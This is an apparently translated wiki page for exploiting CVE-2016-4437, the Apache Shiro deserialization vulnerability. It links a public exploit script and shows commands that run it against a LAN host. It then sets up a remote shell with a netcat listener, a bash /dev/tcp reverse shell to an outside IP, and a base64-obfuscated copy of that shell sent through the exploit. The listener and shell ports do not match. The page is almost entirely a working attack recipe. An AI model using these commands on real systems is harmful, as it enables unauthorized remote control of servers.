View source for CVE-2016-4437 Shiro反序列化漏洞/ru

<languages   />

==POC==
https://github.com/insightglacier/Shiro_exploit


==Эксплуатация уязвимостей==
<pre>
python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "touch a.txt"
</pre>

==Команда была выполнена успешно.==


==Getshell==
Слушатель выполняет следующие команды:
<pre>
nc -lvp 666
</pre>

Машина-жертва выполняет следующую команду:
<pre>
bash -i >& /dev/tcp/192.168.2.130/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
</pre>



<pre>
python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
</pre>